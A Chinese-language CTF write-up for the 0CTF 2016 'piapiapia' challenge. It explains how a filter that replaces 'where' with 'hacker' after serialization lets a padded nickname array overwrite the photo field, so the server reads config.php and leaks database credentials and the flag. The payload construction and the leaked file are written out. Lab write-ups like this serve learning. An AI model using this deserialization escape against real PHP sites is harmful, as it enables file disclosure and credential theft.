[0CTF 2016]piapiapia
进入网页发现是一个登录界面,尝试发现有register.php,登陆后有一个文件上传,有上传后的展示页面
御剑+dirmap扫,有访问控制,扫挺慢……
御剑扫出来register页面,dirmap就扫出来了网页备份……害
下载网页源码:
本题测试发现admin账户是可以注册的,应该不存在获取管理员权限啥的……看一波profile
1 2 3 4 5 6
| else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));
|
这里有一个文件读取,上面是一个 反序列化,updata:
1 2 3 4 5 6 7 8 9 10 11 12
| $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
|
这里是序列化,将提交的信息进行了序列化,应该看一下user类里的有关方法:
1 2 3 4 5 6 7 8 9 10
| public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile);
$where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; }
|
user有一个父类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| class user extends mysql{...}
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; }
|
针对sql的一些查询语句进行了过滤,并会替换成hacker。
config文件里记录了有flag信息,但这里是空的……我们应该是要读这个文件,也就是是控制传输的反序列化。
上次的easy_serialize_php,文件对序列化后的字符串进行了检测的替换。无论是检测时字符串删除或增加,都可能导致反序列化的对象逃逸,这里不能控制键,所以是值逃逸。
反序列化的对象逃逸
首先
要绕过nickname的长度限制,这里可以使用数组绕过
正常的反序列化:
a:4:{s:5:”phone”;s:11:”11111111111”;s:5:”email”;s:7:”1@1.com“;s:8:”nickname”;a:1:{i:0;s:32:”1s:5:”photo”;s:10:”config.php”;}”;}s:5:”photo”;s:39:”upload/c4ca4238a0b923820dcc509a6f75849b”;}
数组的反序列化会在数据两边加上{}
,所以我们要拼接";}s:5:"photo";s:10:"config.php";}
来覆写photo为我们想要的config文件。
注意到过滤中有一个where
是5字符的,而hacker
是6字符,这样的增加可以影响到前面对数组的描述,而我们的插入因为符合语法规则而从描述中逃逸。";}s:5:"photo";s:10:"config.php";}
有34个字符,如果我们在nickname中传入34个where,将会被替换成64个hacker。
———————>
本该解析的";}s:5:"photo";s:10:"config.php";}
被多出来的34个字符吞掉,后面正确闭合导致描述逃逸,photo被覆写为cofig.php:
成功上传:
解密:
1 2 3 4 5 6 7
| <?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = 'qwertyuiop'; $config['database'] = 'challenges'; $flag = 'flag{f46c2977-0f1c-48f5-ac44-01b966e6c53a}'; ?>
|
ok……